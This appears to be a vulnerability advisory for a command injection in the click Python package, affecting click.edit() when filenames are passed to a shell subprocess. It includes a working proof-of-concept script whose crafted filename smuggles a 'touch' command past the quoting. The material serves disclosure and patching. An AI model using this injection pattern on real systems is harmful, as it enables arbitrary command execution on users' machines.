Command Injection Affecting click package, versions [8.2.0,8.3.3)

Affected versions of this package are vulnerable to Command Injection via the filename parameter passed to edit_files() function via click.edit(). This function invokes a subprocess with shell=True that can be injected into by including double-quoted strings in a malicious filename. An attacker who can convince a user to follow a malicious link can cause OS commands to be executed.

#!/usr/bin/env python3
import os
import subprocess
import click

def main():
    marker_file = "click_pwned_marker"
    malicious_filename = f'clickpoc"; touch {marker_file}; echo "'
    print(f"[*] Malicious filename: {malicious_filename}")

    try:
        subprocess.run(['touch', malicious_filename], check=True)
        print(f"[+] File exists: {os.path.exists(malicious_filename)}")
    except Exception as e:
        print(f"[-] Failed to create file: {e}")
        return

    try:
        result = click.edit(filename=malicious_filename, editor='true')
        print(f"[*] click.edit() returned: {result}")
    except Exception as e:
        print(f"[!] Exception: {e}")
    finally:
        if os.path.exists(malicious_filename):
            os.remove(malicious_filename)

    if os.path.exists(marker_file):
        print(f"[+] SUCCESS: marker file '{marker_file}' was created by the injected command.")
    else:
        print("[-] Marker file NOT created.")

if __name__ == "__main__":
    main()

• GitHub Advisory
• GitHub Commit
• GitHub Release